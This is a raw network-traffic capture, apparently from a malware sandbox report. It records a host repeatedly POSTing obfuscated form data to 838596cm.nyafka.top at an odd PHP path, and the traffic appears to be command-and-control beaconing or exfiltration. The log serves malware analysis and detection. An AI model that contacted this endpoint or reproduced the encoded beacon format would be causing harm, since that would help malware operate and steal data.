Jan 8, 2025 17:14:36.322587013 CET	325	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue
Jan 8, 2025 17:14:36.676237106 CET	2532	OUT	Data Raw: 50 57 5b 55 59 51 56 5f 5e 5f 57 54 56 5a 59 59 57 52 58 52 50 5e 56 5e 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PW[UYQV_^_WTVZYYWRXRP^V^[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ ?3$:[?.!\;73Y=-6)(9&+!?Y*Y<]"=?]-#_&'P-7
Jan 8, 2025 17:14:36.769468069 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:37.007286072 CET	802	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yO9%2FlPZOa%2Bq8Zx25vSLbUvkD9jgQfcqmeCSJHPzfxnUoWEwGANYHr73aN5n1UwXYHpk4KOYs1UU6fWKdUP4vJiTDoy2tDJat9IFDjafL8B1I51D7N9mngqoeNovTVijU6O5ezMbb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7b478ac343b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1577&min_rtt=1553&rtt_var=631&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2857&delivery_rate=835718&cwnd=202&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	50113	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:37.135581017 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:37.488749027 CET	2532	OUT	Data Raw: 55 56 5e 54 59 51 56 58 5e 5f 57 54 56 56 59 53 57 52 58 5b 50 55 56 5d 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UV^TYQVX^_WTVVYSWRX[PUV][EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#+7'3)=Y,$#]*=5[>=]&;P<"Y)<4 =#^9/#_&'P-
Jan 8, 2025 17:14:37.588771105 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:37.824599981 CET	811	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UfG5aHPa7erILLu8npDQqWDpDoJC04%2FIvnp0lGS%2BgIqqqQQnDfuAP2EoTcMvQvxYCELbYA1%2FFHOzBekjCe0sHbcLTz%2FvIejs0lHZCizvmzlk3lTBuahNfU%2BpLF%2BmJksXVyLmVjjM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7b4cadd3729f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3290&min_rtt=1946&rtt_var=3417&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=114978&cwnd=168&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	50114	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:37.947565079 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:38.301282883 CET	2532	OUT	Data Raw: 55 5c 5b 53 5c 5a 56 5d 5e 5f 57 54 56 58 59 5f 57 57 58 52 50 58 56 5e 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: U\[S\ZV]^_WTVXY_WWXRPXV^[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#(830 &?>%\/$+X>&);&;("<),;5=7.#_&'P-?
Jan 8, 2025 17:14:38.408699036 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:38.642662048 CET	809	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1jFPJUZR13ubkleZyNDuYAsncihCcT2TqNuojgmSQ8EdSc%2Fyh573HsC6gvR%2FEKvBWjFyiXGQdvawxzmd6iaXcBr%2FZBB8er80dhyb7MUzEeHNr%2FJVTRczpfqj7B46DWHRqh%2Bpce81"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7b51bd370f5b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8107&min_rtt=1588&rtt_var=13635&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=27164&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	50115	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:38.774271011 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:39.129385948 CET	2532	OUT	Data Raw: 50 51 5b 57 5c 5b 53 5f 5e 5f 57 54 56 5c 59 5e 57 5e 58 5a 50 5b 56 51 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PQ[W\[S_^_WTV\Y^W^XZP[VQ[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ Z?(0#=>-1X8X=._>&82W(/X><$X!=4:?#_&'P-/
Jan 8, 2025 17:14:39.176188946 CET	1236	OUT	Data Raw: 31 0a 13 03 2e 29 23 1b 31 1c 0a 58 0d 3f 33 3c 3e 3f 32 21 04 07 32 06 3c 08 23 2f 04 3d 11 2e 32 0d 05 3a 23 00 3e 3f 3d 3d 07 3f 0b 20 21 1e 26 3f 37 08 3a 58 38 2f 3e 01 03 28 0f 00 24 10 03 2f 0f 09 32 5e 11 5b 3c 0e 09 22 27 06 0a 17 38 31 Data Ascii: 1.)#1X?3<>?2!2<#/=.2:#>?==? !&?7:X8/>($/2^[<"'8101(,50%$"C,>%+ #.8:%$2E& _%$$#<Y<5!$:(1&&_6?)2=81<W1<?8'!+=3) ">[2'[<96:;^2?0#-?1:><91>$"-$0<)[2!D]75<
Jan 8, 2025 17:14:39.237051010 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:39.433374882 CET	806	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FvuxKD38JOMYAbL29iOR60atH%2B%2FdOa5l7eezqpBpwk8U87IWPkWgTLjgbfDGhuH%2F6DMsElI1ENkqFxvDo6pzOQyc8o2DksyS5PolRaDbtWiOo8eRj8K5mD2bC5qORGAEiikNLSdw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7b56ea2e43b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4205&min_rtt=1629&rtt_var=5764&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=65635&cwnd=202&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	50116	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:39.559429884 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:39.910693884 CET	2532	OUT	Data Raw: 50 57 5b 52 5c 5f 56 53 5e 5f 57 54 56 56 59 5d 57 54 58 5c 50 59 56 5d 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PW[R\_VS^_WTVVY]WTX\PYV][EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#?,% >>>9Y8'?.>]=&;+"+X>?([ =?:#_&'P-
Jan 8, 2025 17:14:40.013546944 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:40.178446054 CET	798	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XDrCbnXCEyf4ZX8uesjesyjNZA13o4SBv1mAInW1nn9TLu9TwqI8qh0lhRtuFP3O72gQWfMc1L6ovOcX0HuvSJRHE4rEu2O97p3lrGUxMi0XlHOkQt1IXDaAW5aVr4JWZSCIAAKD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7b5bc9aa729f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4966&min_rtt=2010&rtt_var=6667&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=56889&cwnd=168&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	50117	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:40.305784941 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	50118	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:40.559844971 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 1852 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:40.910801888 CET	1852	OUT	Data Raw: 55 56 5b 54 5c 5b 53 5c 5e 5f 57 54 56 5f 59 5b 57 55 58 5e 50 5b 56 59 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UV[T\[S\^_WTV_Y[WUX^P[VY[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#<433:X==*;/=>=]=5\01<"+\>? -(.?#_&'P-#
Jan 8, 2025 17:14:41.014779091 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:41.435224056 CET	953	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=E0aQfumPpoks5dSTjBL8XZWpPLCFC7F93y%2FGTaUDp%2Bo%2Fwa3GNmNYGLMlhJb8KSR4OV5EcnMLbqXClJOY7U2ohMkelYyqlIIcKk0EED6nSfhFAkFgtw3N0CfZwSmZIyIwK8n43GU4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7b620a65424b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4411&min_rtt=1569&rtt_var=6273&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2201&delivery_rate=60062&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 03 1d 24 11 27 5b 3c 5b 20 15 22 0c 28 5c 2f 12 3d 30 25 02 3a 07 27 02 32 27 3c 14 31 05 3f 00 20 01 2d 5a 3c 16 2a 02 33 35 37 0d 3f 2b 20 5c 04 1f 24 5d 3f 2b 2a 0d 3e 2f 26 16 30 33 2d 1e 26 30 3f 00 25 3e 24 04 27 29 21 0c 37 3a 3c 0e 2f 0d 3e 52 2d 28 2b 01 2b 19 30 5b 24 3e 2f 50 0f 10 38 53 2d 2a 3f 5a 36 31 00 52 21 33 3b 59 23 25 2b 01 3e 03 02 0b 23 2f 0c 07 24 0d 13 53 20 21 33 55 27 55 3f 5e 28 0f 2f 0c 28 09 24 55 2c 02 2c 49 02 3f 58 52 0d 0a 30 0d 0a 0d 0a Data Ascii: 98$'[<[ "(\/=0%:'2'<1? -Z<357?+ \$]?+>/&03-&0?%>$')!7:</>R-(++0[$>/P8S-*?Z61R!3;Y#%+>#/$S !3U'U?^(/($U,,I?XR0
Jan 8, 2025 17:14:41.490447044 CET	953	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=E0aQfumPpoks5dSTjBL8XZWpPLCFC7F93y%2FGTaUDp%2Bo%2Fwa3GNmNYGLMlhJb8KSR4OV5EcnMLbqXClJOY7U2ohMkelYyqlIIcKk0EED6nSfhFAkFgtw3N0CfZwSmZIyIwK8n43GU4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7b620a65424b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4411&min_rtt=1569&rtt_var=6273&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2201&delivery_rate=60062&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 03 1d 24 11 27 5b 3c 5b 20 15 22 0c 28 5c 2f 12 3d 30 25 02 3a 07 27 02 32 27 3c 14 31 05 3f 00 20 01 2d 5a 3c 16 2a 02 33 35 37 0d 3f 2b 20 5c 04 1f 24 5d 3f 2b 2a 0d 3e 2f 26 16 30 33 2d 1e 26 30 3f 00 25 3e 24 04 27 29 21 0c 37 3a 3c 0e 2f 0d 3e 52 2d 28 2b 01 2b 19 30 5b 24 3e 2f 50 0f 10 38 53 2d 2a 3f 5a 36 31 00 52 21 33 3b 59 23 25 2b 01 3e 03 02 0b 23 2f 0c 07 24 0d 13 53 20 21 33 55 27 55 3f 5e 28 0f 2f 0c 28 09 24 55 2c 02 2c 49 02 3f 58 52 0d 0a 30 0d 0a 0d 0a Data Ascii: 98$'[<[ "(\/=0%:'2'<1? -Z<357?+ \$]?+>/&03-&0?%>$')!7:</>R-(++0[$>/P8S-*?Z61R!3;Y#%+>#/$S !3U'U?^(/($U,,I?XR0

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	50119	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:40.680288076 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:41.035644054 CET	2532	OUT	Data Raw: 55 5c 5b 55 59 5a 56 5c 5e 5f 57 54 56 5f 59 5a 57 57 58 5d 50 5c 56 58 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: U\[UYZV\^_WTV_YZWWX]P\VX[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#<$33)>9X/B3]>>5=;0;)"((?<!>?X-?#_&'P-#
Jan 8, 2025 17:14:41.145029068 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:41.435292006 CET	808	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GlBxgEfe9JoN2yf9dq7DOOzkDz7Rsdz16CiJQmOFJ2o6GuU4PoozNfrrf%2Fz0P1Eq6upug%2FS%2FYDDiqsdk4dc6JJ0I%2BXSyJ9bUwOQywkVeQJMiCHeyjSLjRix%2F6cM1UXbrW5FL43zQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7b62dbb7424b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3682&min_rtt=1562&rtt_var=4827&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=78803&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	50120	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:41.558564901 CET	325	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2528 Expect: 100-continue
Jan 8, 2025 17:14:41.910624981 CET	2528	OUT	Data Raw: 55 55 5b 52 5c 5f 53 59 5e 5f 57 54 56 5e 59 5f 57 56 58 5a 50 5b 56 5d 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UU[R\_SY^_WTV^Y_WVXZP[V][EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ +#_$0=)==Y;4+)=>'8.(2<*<+5>+X-/#_&'P-3
Jan 8, 2025 17:14:42.003712893 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:42.246547937 CET	806	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=88x73OcqYncMUiYIMR2i1HRzHvcmUBoFxBNbFbsbvWnGj3ArxTTKDZRFNNK8tITG9jfGADcS0zOH1%2FLq4izprxyOH%2FBvLCxpijjk7ipd%2BRxGqMPglmhchJsC5fVMN%2F7qFekjDzDK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7b683a39727b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2017&min_rtt=2011&rtt_var=758&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2853&delivery_rate=726006&cwnd=233&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	50121	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:42.381316900 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:42.738692999 CET	2532	OUT	Data Raw: 50 56 5e 50 5c 58 56 5b 5e 5f 57 54 56 5f 59 5a 57 52 58 59 50 5c 56 5d 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PV^P\XV[^_WTV_YZWRXYP\V][EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#((4$._>=!Y8Y?.2=;3+.Q+)[6[<9?#_&'P-#
Jan 8, 2025 17:14:42.834228992 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:42.994313955 CET	804	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hJBaTLUgfd1YAh8OsWM1Oykrmdwdea1eIBCywLCO27U%2FWNAAyCDcFDyfPJQ3u90%2FkgBVdy1WFToaJwVGUGDr7ffptMs8TURLs90in59NPEE2WN0GqxqeCt%2FCu694RZeelvcKYStf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7b6d69a30f5b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3521&min_rtt=1611&rtt_var=4425&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=86416&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	50122	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
